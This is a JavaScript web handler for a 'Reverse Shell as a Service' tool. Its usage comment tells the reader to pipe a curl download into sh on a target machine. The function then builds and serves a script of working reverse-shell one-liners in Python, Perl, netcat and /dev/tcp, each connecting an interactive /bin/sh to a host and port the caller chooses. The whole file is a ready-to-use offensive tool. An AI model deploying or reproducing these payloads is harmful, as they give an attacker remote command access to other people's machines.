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'use strict';
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const usage = `# Reverse Shell as a Service
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# https://github.com/lukechilds/reverse-shell
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#
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# 1. On your machine:
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# nc -l 1337
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#
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# 2. On the target machine:
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# curl https://reverse-shell.sh/yourip:1337 | sh
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#
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# 3. Don't be a dick`;
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const reverseShell = (address = '') => {
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const [host, port] = address.split(':');
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if (!host || !port) {
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return usage;
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}
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const payloads = {
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python: `python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("${host}",${port})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'`,
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perl: `perl -e 'use Socket;$i="${host}";$p=${port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`,
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nc: `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ${host} ${port} >/tmp/f`,
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sh: `/bin/sh -i >& /dev/tcp/${host}/${port} 0>&1`
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};
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return Object.entries(payloads).reduce((script, [cmd, payload]) => {
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script += `
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if command -v ${cmd} > /dev/null 2>&1; then
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${payload}
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exit;
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fi`;
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return script;
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}, usage);
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};
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const handler = (request, response) => {
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const { address } = request.query;
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const one_month = 60 * 60 * 24 * 30;
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response.setHeader('Content-Type', 'text/plain');
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response.setHeader('Cache-Control', `s-maxage=${one_month}`); // Cache at edge
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response.send(reverseShell(address));
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};
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module.exports = handler;
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module.exports.reverseShell = reverseShell;
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